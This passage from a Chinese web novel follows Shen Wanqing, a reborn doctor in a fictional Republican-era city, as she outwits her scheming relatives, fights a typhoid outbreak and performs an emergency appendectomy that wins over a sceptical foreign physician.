“原来就是他啊?真不要脸!”“那天婚礼上的录音我都听说了,没想到连花瓶都是假的,这沈家还有什么是真的?”“活该!这种人就该浸猪笼!”
烂菜叶、臭鸡蛋,甚至还有人吐的口水,劈头盖脸地朝沈志远砸去。
沈志远蜷缩在地上,双手抱头,浑身发抖。
不仅仅是因为疼,更是因为羞耻。那种被剥光了衣服扔在大街上示众的羞耻感,比杀了他还难受。
他曾经引以为傲的“才子”名声,彻底毁了。
……
与此同时,济世堂。
相比于沈志远的狼狈,济世堂内却是另一番景象。
虽然已经是傍晚,但诊堂里依然亮着灯。沈晚清坐在桌后,正在给一位穿着绸缎长衫的中年人把脉。
这人是海城南区米行的老板,因为常年应酬,患有严重的胃溃疡,看了不少大夫都断不了根。听说济世堂出了个“女华佗”,抱着试试看的心态来了。
“赵老板,您这病是‘胃脘痛’,也是西医说的胃溃疡。”沈晚清收回手,声音平和,“光吃中药调理慢,我给您开两瓶‘胃舒平’配合着吃,另外饮食上要忌辛辣。”
“这……西药?”赵老板有些犹豫。
“您可以先吃三天。若是无效,诊金全退。”沈晚清自信地递过药方。
正说着,阿福快步从外面跑进来,脸上带着掩饰不住的兴奋,凑到沈晚清耳边低语了几句。
“东家,成了!那个沈志远在礼查饭店被当成骗子打了出来,现在正躺在后巷喝阴沟水呢!麻杆带着兄弟们正在那边‘帮’他扬名呢!”
沈晚清正在写方子的手微微一顿,嘴角勾起一抹极淡的冷笑。
果然。
那只假花瓶,是前世她母亲为了防患于未然,特意找人烧制的赝品。外表看着光鲜,其实釉色里掺了特殊的化学料,在强光下一照就会显出贼光。
沈志远贪心不足,根本没找人细看就敢拿去骗精明的洋人,这就是报应。
“知道了。”沈晚清神色淡然,仿佛只是听到了一只苍蝇被拍死的消息,“告诉赵龙,戏做足了就行,别真把人打**。留着他,还有用。”
活着受罪,才叫惩罚。
送走了赵老板,沈晚清看着手里那两块沉甸甸的大洋——这是今天的诊金。
虽然不多,但这是一个好的开始。
这几天,随着“剖腹产”神迹的传开,加上丐帮兄弟们在街头巷尾的宣传,济世堂的生意肉眼可见地好
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了起来。虽然大部分还是穷苦百姓,但也开始有像赵老板这样的中产阶级上门。
沈晚清并不急。她知道,要想在这海城真正站稳脚跟,光靠看病是不够的。
她走到药柜前,打开一个带锁的抽屉。
里面放着几瓶她这几天在实验室里提炼出来的淡黄色粉末——那是纯度还不算高的磺胺。
在青霉素量产之前,这就是抗感染的神药。
“阿福。”沈晚清唤道。
“东家,啥事?”
“明天开始,你去城外的药农那里,大量收购蒲公英、板蓝根和金银花。有多少收多少。”
阿福愣了一下:“东家,收这些干啥?这些都是清热解毒的便宜草药,咱们库房里还有不少呢。”
沈晚清目光深邃地看向窗外。
此时已是五月下旬。如果前世的记忆没错,再过半个月,一场席卷海城贫民窟的伤寒疫病就要爆发了。
前世,这场瘟疫夺走了数千人的性命,也让无数家庭家破人亡。
而这一世,她不仅要救人,还要借这场风,把济世堂这艘船,彻底送上青云。
“按我说的做。”沈晚清没有解释,“另外,把后院的那口水井封了,以后店里的用水,必须全部烧开。”
……
沈家老宅。
沈志远是被王氏花钱雇了一辆黄包车拉回来的。
看着沈志远这副人不人鬼不鬼的惨状,王氏嚎啕大哭:“天杀的啊!这是造了什么孽啊!那个杀千刀的洋鬼子,怎么把人打成这样!”
沈光宗坐在太师椅上,看着满脸是血的沈志远,关心的却不是伤势。
“瓶子呢?花瓶呢?卖了多少钱?”
沈志远肿着嘴,含糊不清地哭道:“碎了……是假的……那是假的!沈晚清那个**,她早就知道是假的!她是故意的!”
“什么?假的?!”
沈光宗两眼一黑,差点栽倒在地。
两万大洋没了?
不仅没了,沈家现在还面临着巨大的危机。因为婚礼上的丑闻,沈家的生意伙伴纷纷解约,原本谈好的一笔贷款也被银行叫停了。
现在,沈家不仅是个空壳子,还背了一屁股债。
“都是沈晚清那个扫把星!”王氏咬牙切齿,眼中满是怨毒,“自从她回来,咱们家就没过一天安生日子!她把咱们害得这么惨,自己却在那破药铺里吃香喝辣,听说今天还赚了不少钱!”
“不能就这么算了!”沈雨柔在一旁煽风点火,她看着自己因为没钱买化妆品而变得暗淡的脸,嫉妒得发狂,“爹,娘,那济世堂的地契还在她手里,那可是咱们沈家的产业!凭什么让她独吞?”
沈光宗喘着粗气,浑浊的眼中闪过一丝狠厉。
“没错,那是沈家的产业!她是沈家的女儿,她的东西就是老子的!”
“可是……她有那个当兵的撑腰……”王氏有些忌惮。
沈志远从沙发上挣扎着坐起来,眼中满是疯狂的恨意:
“当兵的又怎么样?少帅早就走了!留下的那几个兵也就是装装样子。强龙不压地头蛇,咱们明着不行,可以来暗的。”
他想起今天在后巷听到的传闻,嘴角勾起一抹阴毒的笑。
“我听说,海城商会的周管事,在那丫头手里吃了瘪。周管事可是海城一霸,咱们要是能借他的刀……”
窗外,夜色深沉。
一场针对济世堂的阴谋,正在这群穷途末路的恶狼口中酝酿。
而沈晚清,正站在济世堂的阁楼上,整理着那一堆即将成为救命稻草的药材。
她并不知道沈家人的密谋,但她知道,这乱世之中,真正的考验才刚刚开始。
第10章 伤寒爆发
民国九年,六月初。
海城的梅雨季来了。连绵的阴雨让整座城市都笼罩在一层湿漉漉的霉味中。
这种天气,最容易滋生病菌。
济世堂的后院,三口大锅正架在临时的灶台上,日夜不熄火地煮着沸水。阿福和赵龙带着几个丐帮兄弟,正满头大汗地将一筐筐晒干的蒲公英、板蓝根切碎,扔进旁边熬药的大桶里。
“东家,这都煮了三天了,也没见有人来喝啊。”阿福抹了一把脸上的汗,“街坊们都说咱们没事找事,好好的凉水不喝,非要喝这烫嘴的‘怪味汤’。”
沈晚清正在检查药汤的成色,闻言只是淡淡道:“再等等。风,马上就要起了。”
话音刚落,济世堂的大门被人撞开了。
一个满脸通红、脚步虚浮的年轻妇人抱着孩子跌跌撞撞地冲了进来。
“沈大夫!救命啊!我儿子……我儿子好烫!”
沈晚清快步上前,伸手一摸孩子的额头,滚烫如火。再看那孩子的面色,潮红中透着惨白,嘴唇干裂,身上还隐隐出现了玫瑰色的斑疹。
“腹泻吗?”沈晚清迅速问道。
“拉……拉了好几次,全是像米汤一样的水……”妇人哭得嗓子都哑了。
沈晚清心头一沉。
果然来了。
伤寒。
在这个抗生素匮乏的年代,这是一种致死率极高的烈性传染病。它通过水源和食物传播,一旦爆发,就是一场灾难。
“阿福,立刻隔离!”沈晚清厉声道,“把后院东厢房腾出来,除了我和专门护理的人,谁也不许靠近!赵龙,去打听一下,贫民窟那边是不是很多人都这样了?”
没过多久,赵龙气喘吁吁地跑回来,脸色难看得吓人:
“东家!神了!真的出事了!城南窝棚区那边,倒下了一大片!全是发高烧、拉肚子,有的已经……已经没气了!”
瘟疫,在海城最肮脏、最拥挤的角落,悄然爆发了。
……
与此同时,海城商会。
宽敞明亮的会议室里,烟雾缭绕。
海城商会的周管事坐在首位,手里夹着雪茄。他对面坐着的,正是鼻青脸肿、还没消肿的沈志远,以及一脸焦急的沈光宗。
“周管事,机会来了!”
沈志远虽然脸肿得像猪头,但眼神却异常阴毒,“贫民窟那边闹瘟疫了!听说**不少人。现在市面上的退烧药和止泻药都开始紧俏了。”
周管事吐出一口烟圈,漫不经心道:“闹瘟疫又如何?死的是穷鬼,他们有钱买药吗?”
“穷鬼是没钱,但他们怕死啊!”沈志远急切地说道,“只要咱们把控住水源,再把市面上的药材垄断了……到时候,哪怕是卖树皮,他们也得拿棺材本向咱们换!”
“而且……”沈志远眼中闪过一丝狠色,“济世堂那个**,这几天不是在施粥送药吗?咱们正好借这个机会,说这瘟疫是从她那儿传出来的!是她那些乞丐朋友带来的脏病!”
“只要把这盆脏水泼给她,再断了她的药材来源,济世堂非关门不可!到时候,沈晚清手里的地契,还有那个药粉的配方,不就都是周管事您的了吗?”
周管事眼睛亮了。
如果是为了那点穷鬼的钱,他不屑动手。但如果是为了搞垮济世堂,拿到那个神奇的药方……
“沈老弟,你这招‘借刀**’,够毒啊。”周管事露出了贪婪的笑容,“行,这事儿**了。沈老板,你这女婿,脑子确实比你好使。”
沈光宗在一旁陪着笑脸,心里却在滴血。这原本是他沈家的女儿,现在却要联合外人来整死她,真是家门不幸。但他转念一想,只要济世堂倒了,地契拿回来,沈家就能翻身,也就顾不得那么多了。
……
第二天,流言四起。
“听说了吗?这怪病是济世堂引来的!”“就是那个沈晚清救的乞丐婆身上带的毒!她为了赚名声,把脏东西引到咱们城里来了!”“打死这个妖女!赶走济世堂!”
一群被煽动的暴民,混杂着商会的打手,浩浩荡荡地冲向济世堂。他们手里拿着棍棒、石块,嘴里喊着“除害”的口号。
沈志远躲在人群后面,戴着墨镜遮住伤眼,嘴角挂着得意的狞笑。
然而,当他们冲到济世堂门口时,却愣住了。
济世堂并没有关门闭户,反而大门敞开。
门口支起了五口大锅,热气腾腾。每一口锅前都排着长队,但这队伍里不仅有乞丐,还有不少衣着体面的街坊邻居。
沈晚清一身白衣,戴着口罩,站在台阶上。她身后,是几十个手持木棍、神情肃穆的丐帮弟子,如同铜墙铁壁般护着药铺。
“干什么?想砸店?”
赵龙一步跨出,手中的大棒往地上一杵,“咚”的一声闷响,吓得前面的暴民退了好几步。
“大家别怕!她是妖女!这病就是她传出来的!”人群中的托儿大喊道,“大家看,她这煮的什么黑乎乎的东西,肯定又是害人的**!”
“**?”
沈晚清摘下口罩,露出那张清冷绝尘的脸。她拿起一只碗,从锅里舀了一勺深褐色的药汤,当着所有人的面,一饮而尽。
“这是板蓝根和大青叶熬制的汤药,清热解毒,预防伤寒。”
她放下碗,目光如电,扫过那群**的人,“这场瘟疫,是‘伤寒’,是因为喝了不干净的生水!商会的人控制了井水,抬高药价,就是为了发国难财!而我济世堂,今日起,免费施药,免费提供烧开的净水!”
“无论你是谁,只要带了碗来,就能领一碗救命汤!”
此言一出,全场哗然。
免费?
在这个一粒米都要算计的乱世,竟然有人免费送药?
“真的假的?”一个看起来病怏怏的老汉颤巍巍地举起破碗,“沈大夫,我也能喝吗?”
“能。”沈晚清亲自舀了一碗,递过去,“老人家,趁热喝。”
老汉喝下药汤,只觉得一股暖流从喉咙滑入胃里,原本因为发烧而干涩的嗓子瞬间舒服了不少。
“好药!是好药啊!”老汉激动得热泪盈眶,“谁说是**?这是救命药啊!”
有了第一个,就有第二个。
原本气势汹汹来“问罪”的百姓们,瞬间倒戈,纷纷涌上来求药。
“沈大夫,给我一碗!”“沈大夫,我相信你!那些商会的才是吸血鬼!”
躲在后面的沈志远傻眼了。
他精心策划的“民变”,怎么眨眼间变成了沈晚清的“个人表彰大会”?
“别信她!她是装的!”沈志远气急败坏地跳出来,想要强行带节奏,“她这是收买人心……”
“哟,这不是沈家姑爷吗?”
眼尖的赵龙一眼就认出了这个畏畏缩缩的男人,“兄弟们,就是这个王八蛋在背后造谣!咱们恩人救人,他在后面递刀子!揍他!”
“揍他!”
这回不用
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丐帮动手,那些领了药的百姓们愤怒了。
谁敢砸烂这口救命的大锅,就是跟他们的命过不去!
烂泥巴、石头块,再一次如雨点般砸向沈志远。
沈志远抱头鼠窜,这次连那个商会的周管事都保不了他,因为周管事看到这架势,早就吓得坐车溜了。
……
夜幕降临。
济世堂的灯火依旧通明。
沈晚清忙了一整天,嗓子都快冒烟了。
虽然打退了沈志远,但真正的战斗才刚刚开始。
伤寒的传播速度远超她的想象。光这一下午,济世堂就收治了二十多个重症患者。后院已经住满了,连过道里都铺满了草席。
她的抗生素库存告急,中草药也撑不了几天了。
“东家,药不够了。”阿福满脸愁容,“商会封锁了进货渠道,咱们有钱也买不到药材。”
沈晚清看着病床上那些痛苦呻吟的病人,眉头紧锁。
这就是商会的手段。釜底抽薪。
就在这时,门外传来了一阵低沉的引擎声。
两辆军用卡车停在了济世堂门口。
车门打开,亨利医生带着几个洋护士跳了下来。
“沈小姐!”亨利医生操着蹩脚的中文,神色焦急又带着几分敬佩,“我听说了你在华界做的事情!上帝啊,你简直是个天使!租界那边也出现了病例,但我听说你这里有特效的‘退烧粉’?”
沈晚清眼睛一亮。
援军来了。
“亨利医生,我有药方,但我缺原材料。”沈晚清开门见山,“如果你能帮我搞到一批化工原料,我就把这第一批药分你一半。”
“成交!”亨利医生毫不犹豫。作为医生,他太知道这药的价值了。而且,他对这个神奇的东方女医生充满了好奇和好感。
有了亨利医生的加入,不仅解决了原料问题,还带来了一个意想不到的好处——
商会敢封锁华界的药铺,却绝对不敢拦租界洋大人的车!
当那一车车贴着“红十字会”标志的物资大摇大摆地开进济世堂时,正在商会喝闷酒的周管事气得摔碎了手里的酒杯。
“妈的!这女人到底什么来头?怎么连洋人都给她当苦力?!”
……
沈公馆。
沈志远又一次带着伤回到了这里。
这一次,他不仅没整垮沈晚清,反而让沈家的名声在“骗子”的基础上又加了一条“**造谣”的罪名。
“完了……全完了……”沈光宗瘫坐在地上,看着家里仅剩的几件家具,老泪纵横。
沈雨柔躲在房间里不敢出来,生怕被外面的暴民抓走。
而王氏,正拿着一张当票在哭。那是她最后一件首饰当来的钱,原本是想给沈志远疏通关系的,现在看来是打水漂了。
突然,沈志远像是疯了一样笑了起来。
“呵呵……哈哈哈……”
“你笑什么?疯了吗?”王氏惊恐地看着这个女婿。
沈志远从怀里掏出一张皱巴巴的报纸,指着上面的一则新闻,眼中闪烁着最后的一丝疯狂:
“还没完!咱们还有最后一张底牌!”
“你们看!北方直系和奉系打起来了!海城也要乱了!”
“我有一个老同学,在直系军阀那里当参谋。只要咱们把沈晚清手里有‘神药’和‘巨额财产’的消息卖给他……到时候,大军压境,我看那个沈晚清还怎么狂!”
“我要让她,死无葬身之地!”
第11章 亨利医生的傲慢
六月中旬,雨过天晴。
经过半个月的日夜奋战,海城贫民窟的伤寒疫情终于得到了控制。济世堂门口那几口施粥送药的大锅虽然还在冒着热气,但排队的人已经少了很多。
“女华佗”的名号,彻底在海城打响了。
这天上午,一辆黑色的福特轿车缓缓停在了济世堂门口。车门打开,穿着一身白色西装、戴着金丝眼镜的亨利医生走了下来。他身后跟着两个提着医药箱的洋护士,神情倨傲。
他今天来,一方面是送之前答应的第二批化工原料,另一方面,是出于好奇——他想看看那个能在贫民窟创造奇迹的中国女人,到底是怎么工作的。
诊堂内,沈晚清正在给一位伤寒初愈的老人施针。
老人虽然退烧了,但因为病后体虚,一直头晕恶心,吃不下饭。
沈晚清手持几根细长的银针,动作娴熟地刺入老人的足三里、内关等穴位。随着她的捻转,老人原本紧皱的眉头渐渐舒展,长出了一口气:“哎哟,神了!沈大夫这几针下去,胸口那股闷气真的散了!”
这一幕,正好落在刚进门的亨利眼中。
“住手!”
亨利大步走上前,一把推开阿福,指着沈晚清手里的银针,蓝眼睛里满是震惊和愤怒:
“沈小姐!你在干什么?难道这就是你所谓的治疗?用这种不卫生的金属针刺戳病人?这是**!是巫术!”
原本安静的诊堂瞬间嘈杂起来。病人们愤怒地看着这个突然闯入的洋鬼子。
沈晚清并没有停下手中的动作。她稳稳地行完最后一针,才慢条斯理地转过身,摘下口罩,淡淡地看着亨利:
“亨利院长,在中文里,这叫‘针灸’。是传承了几千年的医术,不是巫术。”
“No!No!No!”亨利连连摇头,一脸的不可理喻,“医学是严谨的科学!是解剖,是化验,是药理!而不是这种玄学!沈小姐,我原本以为你是个受过科学洗礼的现代医生,没想到你竟然还在搞这些封建迷信!”
他从公文包里拿出一份文件,重重地拍在桌子上。
“我原本打算推荐你去租界公立医院进修,甚至想邀请你加入国际红十字会。但现在看来……你根本不配!如果你继续这种‘巫术’表演,我们将立刻停止对济世堂的所有原料供应!”
这是赤裸裸的威胁。
若是换了旁人,面对掌握着海城医疗命脉的洋院长,恐怕早就低头认错了。
但沈晚清只是轻轻笑了笑。
她拿起桌上的那份推荐信,看都没看一眼,随手扔进了旁边的废纸篓。
“亨利院长,您所谓的科学,就是傲慢吗?”
沈晚清直视着他的眼睛,气场丝毫不输,“西医治标,中医治本。西医擅长杀伐,中医擅长调理。在我眼里,能救人的就是好医术。至于配不配……”
她往前逼近一步,“您是不是忘了,半个月前,正是您口中‘不配’的我,用土法青霉素控制住了连你们租界医院都束手无策的瘟疫?”
“你……”亨利被噎得脸色通红,却又无法反驳。那批磺胺粉的效果确实惊人。
就在两人剑拔**张之际。
“滴——!!!”
一阵刺耳的汽车喇叭声在门外炸响。
紧接着,是一阵慌乱的刹车声。一辆挂着“海城总商会”旗帜的豪华轿车横冲直撞地停在了济世堂门口。
车门还没开,就听见有人凄厉地大喊:
“大夫!快救人!救命啊!”
几个保镖模样的人七手八脚地从车里抬下来一个满身冷汗、捂着肚子在担架上打滚的中年胖子。
“疼……疼死我了!哎哟……肠子要断了!”那胖子叫得撕心裂肺,脸色惨白如纸,豆大的汗珠不停地往下掉。
“是康会长!”
周围的街坊一眼就认出了这人。康德海,海城总商会的会长,真正的商界大鳄,也是之前那个周管事的顶头上司。
真是冤家路窄。
之前商会还要**济世堂,现在会长却被抬到了这里。
“快!让开!”保镖们蛮横地推开人群,把康德海抬进了诊堂。
“这……这是怎么了?”亨利医生出于职业本能,立刻上前查看。
他伸手按压了一下康德海的右下腹。
“啊——!!”康德海发出一声杀猪般的惨叫,整个人猛地弹了起来又重重摔下。
“反跳痛明显,腹肌紧张如板状。”亨利迅速做出了判断,脸色变得严峻,“是急性阑尾炎!而且已经有穿孔的迹象,引发了腹膜炎!必须马上手术!”
“手……手术?”康德海的管家吓得哆嗦,“那赶紧去租界医院啊!亨利院长,您的车就在外面,快带我们会长走!”
亨利看了一眼手表,又看了看康德海那几乎休克的状态,无奈地摇了摇头:
“来不及了。从这里到租界医院,加上过关卡和准备手术室,至少要一个小时。他的阑尾随时会破裂,一旦脓液扩散感染全腹,上帝也救不了他。”
“那……那怎么办?”管家绝望地瘫坐在地上。
“准备后事吧。”亨利叹了口气,语气冷漠而理智,“这种情况下,在没有无菌环境的地方手术,死亡率是100%。移动也是死,不如让他走得体面点。”
这就是西医的局限。离了精密的仪器和无菌室,他们往往束手无策。
大厅里一片死寂。
康德海听到了“后事”两个字,眼里的光瞬间灭了,取而代之的是无尽的恐惧。他拥有半个海城的财富,他不想死啊!
“谁说没救?”
一道清冷的声音打破了绝望。
沈晚清从柜台后走了出来,一边挽起袖子,一边冷静地吩咐阿福:
“阿福,准备手术室。赵龙,把闲
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杂人等清出去。”
“沈晚清!你疯了吗?”亨利难以置信地瞪大了眼睛,“这是急性阑尾炎穿孔!需要开腹!你这里连无影灯都没有,你要在这里给他开刀?你这是**!”
“**?”
沈晚清停下脚步,转头看向亨利,眼中闪烁着自信的光芒,“亨利院长,您治不了,不代表我治不了。”
“您不是一直看不起我的医术吗?觉得我是巫医?”
沈晚清嘴角勾起一抹挑衅的弧度,“那我们打个赌如何?”
“什么赌?”亨利皱眉。
“就在这里,就在此时。我给康会长做手术。”
沈晚清伸出一根手指,“如果我救活了他,您要收回刚才所有侮辱中医的话,并在《海城日报》上公开道歉。此外,未来一年,济世堂所需的西药和器械,您要按成本价提供,不得断供。”
“如果你输了呢?”亨利冷笑。
“如果我输了,或者康会长死在手术台上。”沈晚清指了指头顶那块刚描金的牌匾,“这块‘济世堂’的招牌,我亲手摘下来砸了。从此以后,我沈晚清终身不再行医!”
全场哗然。
这赌注太大了!这不仅仅是赌上了济世堂的前途,更是赌上了沈晚清的职业生涯和身家性命!
毕竟,躺在担架上的可是商会会长。要是给治**,康家和商会能把她撕成碎片!
“沈大夫,使不得啊!”赵龙在一旁急得直跺脚,“这老胖子本来就是咱们对头,**活该,您干嘛为了他搭上自己?”
沈晚清没有回答,只是静静地看着亨利。
亨利看着眼前这个身形纤细却目光坚毅的东方女子,心中涌起一股莫名的情绪。是愤怒?是荒谬?还是……一丝期待?
“好!我跟你赌!”
亨利咬牙道,“我倒要看看,你凭什么挑战科学的底线!我就在这里看着,做你的……见证人!”
“一言为定。”
沈晚清转身,对已经疼得神志不清的康德海说道:“康会长,我是沈晚清。想活命,就签了这张同意书。若是信不过我,您就躺着等死。”
康德海此刻哪里还顾得上什么恩怨,只要能活命,别说是沈晚清,就是阎王爷他也签!
他颤抖着手,在纸上按下了血红的手印。
“抬进去!”
沈晚清一声令下。
手术室的门再次关闭。
这一次,门外不仅有焦急等待的病人家属和丐帮兄弟,还有一位神情复杂的洋人院长。
亨利站在玻璃窗外,看着里面那个迅速换上白大褂、戴上口罩的背影,心中冷哼:
阑尾切除术虽然是基础外科手术,但在穿孔伴随腹膜炎的情况下,即使是在伦敦最好的医院,也是高风险手术。在这间破屋子里?绝不可能成功!
然而,接下来的一个小时,将彻底颠覆他三十年来的医学认知。
第12章 惊世骇俗的一刀
手术室内,空气仿佛凝固。
四盏煤油汽灯被挑到了最亮,发出轻微的“滋滋”燃烧声,将这间仅有二十平米的厢房照得毫发毕现。
康德海已经陷入了**麻醉带来的深度昏迷,只有那因疼痛而痉挛的腹部还在微微起伏。
沈晚清站在手术台前,神情冷肃。她并没有急着动刀,而是再次用烈酒洗手,然后戴上了那双阿福刚煮沸消毒过的橡胶手套。
亨利医生双手抱胸,站在一旁。虽然他也换上了白大褂,戴上了口罩,但眼神依旧充满了挑剔和怀疑。
“沈小姐,我想提醒你。”亨利的声音闷在口罩里,带着一丝冷意,“病人的腹肌极度紧张,这说明腹腔内感染严重。在这种简陋的条件下开腹,一旦无法控制感染,或者找不到阑尾的位置,哪怕只过了十分钟,你也等于是在**。”
“十分钟?”
沈晚清接过阿福递来的柳叶刀,淡淡地瞥了他一眼,“足够了。”
话音未落,她手中的刀已经落下。
没有任何犹豫,没有任何试探。
那一刀,稳准狠地切开了康德海右下腹的皮肤。鲜血瞬间渗出,但随即就被沈晚清手中的止血钳精准地夹住。
“好快!”
亨利瞳孔微缩。行家一出手,就知有没有。沈晚清的切口位置选得极刁钻,正是麦氏点,而且这一刀下去,皮下组织分离得干脆利落,这种手感,绝对不是新手能有的,甚至比他见过的许多外科主任还要老练。
“拉钩。”
沈晚清命令道。阿福虽然紧张得手抖,但还是听话地用拉钩拉开了切口。
接下来的一幕,让亨利倒吸了一口凉气。
随着腹膜被切开,一股淡黄色的脓液混合着恶臭瞬间涌了出来。
“穿孔了!”亨利惊呼,“而且已经形成了阑尾周围脓肿!沈,快停下!这需要大量的生理盐水冲洗和引流,你这里没有负压吸引器,脓液会流进盆腔,引发败血症的!”
在他的认知里,这台手术已经失败了。
“闭嘴。”
沈晚清头也没抬,声音冷静得可怕,“阿福,纱布。不是一块,是一卷。”
她并没有惊慌失措,而是迅速将大量的无菌纱布填塞进切口周围,构建了一道临时的“堤坝”,将溢出的脓液死死挡住,防止其扩散到腹腔其他部位。
紧接着,她的手指伸入切口,在那个狭小且充满脓液的视野中,凭借着指尖的触感进行探查。
亨利屏住了呼吸。这种盲视下的探查极度危险,稍有不慎就会碰破肠管。
三秒。
仅仅三秒钟。
“找到了。”
沈晚清手腕一翻,用一把弯钳精准地从那一堆粘连的肠管中,提溜出了一根肿胀发黑、已经破了一个洞的盲肠阑尾。
“这……”亨利瞪大了眼睛,像是见了鬼一样,“上帝啊,你的手指长了眼睛吗?”
那种在脓血混杂中瞬间定位病灶的能力,简直神乎其技!
“结扎,切除。”
沈晚清没有理会亨利的震惊。她动作飞快,双重结扎阑尾根部,然后一刀切下那个祸害。
“荷包缝合。”
这是最关键的一步。需要将阑尾残端埋入盲肠壁内,防止粪瘘。这需要极高的缝合技巧。
沈晚清拿起持针器,那根细小的银针在她指尖仿佛有了生命。
进针,出针,打结。
行云流水,一气呵成。
看着那堪称艺术品的荷包缝合,一直在一旁当“监工”的亨利,身体不由自主地动了。
当沈晚清伸手准备去拿剪刀剪线时,一把剪刀已经递到了她的手边。
沈晚清微微一怔,侧头看去。
只见亨利医生正全神贯注地盯着手术视野,手中的剪刀递得恰到好处。
“剪线。”亨利下意识地用英语说道,语气中已经没了刚才的傲慢,只有一种外科医生在面对高难度手术时的职业本能。
沈晚清口罩下的嘴角微微上扬。
“谢了。”
接下来的十分钟,手术室里再也没有了争执,只剩下器械碰撞的清脆声响和简短的指令。
“冲洗。”“吸引。”沈晚清用大号注射器手动吸出脓液“关腹。”
当最后一针皮肤缝合完毕,沈晚清剪断线头,长长地呼出了一口气。
此时,距离开始动刀,仅仅过去了二十五分钟。
墙上的挂钟还在滴答作响。
亨利摘下被汗水浸透的手套,看着手术台上呼吸平稳、面色稳定的康德海,整个人像是虚脱了一样靠在墙上。
他看着正在清洗器械的沈晚清,眼神复杂至极。
震惊,羞愧,狂热。
“沈……”
亨利张了张嘴,声音有些干涩。他摘下口罩,露出一张充满敬意的脸。
“我输了。”
这位骄傲的剑桥医学博士,向着那个比他矮了一个头的东方女子,深深地鞠了一躬。
“你的技术,简直是上帝的杰作。刚才那个荷包缝合,就算是在伦敦皇家医学院,也没几个人能做得这么漂亮。我收回我之前所有愚蠢的话。”
沈晚清转过身,神色平静,并没有胜利者的狂喜。
“亨利医生,医术没有国界,也没有高低。只有救得活与救不活。”
她伸出手,“那么,之前的赌约?”
“当然!”亨利紧紧握住她的手,眼中闪烁着狂热的光芒,“从今天起,济世堂就是租界医院的战略合作伙伴!沈,我想邀请你做我的……不,我想拜你为师!请教我那种神奇的针灸止痛法,还有刚才那种缝合术!”
门外。
一直提心吊胆的管家和赵龙等人,看到手
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术室的门打开,立刻围了上来。
“怎么样?活了吗?”
沈晚清还没说话,亨利已经抢先一步走了出来。
他面对着众人,尤其是面对那些闻讯赶来的记者,用生硬但洪亮的中文大声宣布:
“手术非常成功!这是一个奇迹!沈晚清小姐,是全世界最棒的外科医生!”
咔嚓!咔嚓!
镁光灯闪烁。
这一刻,沈晚清穿着白大褂、神情淡然的照片,被定格在了明日《海城日报》的头版头条上。
标题只有四个字:惊世一刀。
……
次日清晨。
康德海醒了。
虽然伤口还在隐隐作痛,但那种让他痛不欲生的腹痛已经消失了。
“会长!您醒了!”一直守在床边的管家喜极而泣,“真神了!那个沈大夫真的把您的肠子掏出来洗了一遍又塞回去了!”
康德海摸了摸肚子上那道整齐的纱布,想起昏迷前那种濒死的感觉,顿时出了一身冷汗。
“沈大夫呢?快!请沈大夫!”
当沈晚清走进病房时,这位平日里不可一世的商会会长,挣扎着要起身行礼。
“康会长,别动。小心伤口崩开。”沈晚清按住他,语气温和却带着不可抗拒的威严。
“沈神医!救命之恩,没齿难忘啊!”康德海握着沈晚清的手,老泪纵横,“以前是我康某人有眼无珠,听信了小人的谗言,差点得罪了活菩萨!”
他口中的“小人”,自然指的是沈志远和周管事。
“康会长言重了。治病救人是我的本分。”沈晚清不动声色地抽回手,给他量了量体温,“不过,既然您提到了小人……”
她顿了顿,眼神微冷,“这几天,商会似乎对我们济世堂有些误会。不仅断了我们的药材,还派人来打砸。我这小本生意,怕是经不起折腾啊。”
康德海一听,脸色瞬间沉了下来。
“反了天了!”
他猛地一拍床沿,“那个周扒皮!背着**这种缺德事!沈大夫您放心,这事儿我给您个交代!”
“管家!传我的话!立刻革除周管事的一切职务,把他给我赶出商会!还有,通知全海城的药铺,谁敢断济世堂的货,就是跟我康德海过不去!”
“另外……”康德海从枕头下摸出一张支票,颤巍巍地递给沈晚清,“这是五千大洋,算是诊金,也是给济世堂赔个不是。以后济世堂在海城界内,免除一切会费和税收!”
沈晚清看着那张支票,并没有推辞。
这是她应得的。
也是沈志远和周管事该付出的代价。
“那就多谢康会长了。”沈晚清收起支票,嘴角勾起一抹意味深长的笑,“您好好养伤。等您出院了,还得请您看一场好戏呢。”
“什么好戏?”康德海一愣。
第13章 名动海城
与此同时海城的街头巷尾比往常任何时候都要喧闹。报童们挥舞着手中的《海城日报》,跑得鞋底都要磨破了,稚嫩的嗓音里透着一股子兴奋劲儿:
“号外!号外!济世堂女大夫开膛破肚救活康会长!”“号外!洋人院长登报道歉,承认中医神技!”“买一份看看嘞!惊世一刀,女华佗再世!”
这一连串耸人听闻的标题,像是一颗颗深水**,把海城这潭水彻底炸翻了。
茶馆里,码头上,甚至租界的咖啡厅里,所有人都在议论同一个名字——沈晚清。
济世堂门口。
天还没大亮,这里就已经被围得水泄不通。
不过这一次,不再是来**的暴民,也不是衣衫褴褛的乞丐,而是海城有头有脸的达官显贵、富商巨贾,甚至还有不少坐着黄包车赶来的时髦太太。
“哎哟,别挤别挤!我可是先来的!”“听说这沈大夫有驻颜术?我这脸上的斑能不能治?”“我是来看这一刀下去怎么还能活人的,真是神了!”
阿福站在门口,看着这一眼望不到头的队伍,笑得嘴巴都要咧到耳后根了。他换了一身崭新的长衫,正努力维持着秩序:
“各位别急!东家说了,今日只看五十个号!排好队,别乱!”
诊堂内。
沈晚清正坐在桌前,神色依旧清冷淡然,仿佛外面那沸反盈天的热闹与她无关。
她手里拿着那份今天的《海城日报》。
头版头条,正是亨利医生亲笔撰写的一篇文章——《致歉与致敬:我眼中的东方医学奇迹》。
文章里,这位向来傲慢的英国绅士,用极其诚恳甚至有些肉麻的词汇,详细描述了那台“惊世骇俗”的阑尾切除手术,并公开承认自己之前的偏见是多么愚蠢,盛赞沈晚清是“上帝赐予海城的礼物”。
“东家,这洋人还挺守信用。”阿福凑过来,看了一眼报纸,“这下咱们济世堂可是在租界都露了脸了。”
沈晚清放下报纸,嘴角微微上扬。
“名声是把双刃剑。”她淡淡道,“有了名,麻烦也会跟着来。不过……这正是我们需要的。”
就在这时,门外突然传来一阵震耳欲聋的鞭炮声。
“噼里啪啦——!!”
硝烟弥漫中,两头醒狮舞动着进场,后面跟着一队敲锣打鼓的乐队。
八个壮汉抬着一块披着红绸的巨大牌匾,大步流星地走了过来。走在最前面的,正是康德海的管家。
“沈神医!沈神医在吗?”
沈晚清起身迎了出去。
“感谢沈神医对我家会长救命之恩。”管家激动地上前两步,那是发自内心的感激和敬畏。此时康德海也被属下们搀扶着出现在了门口。
他面对围观的数千百姓,大手一挥:
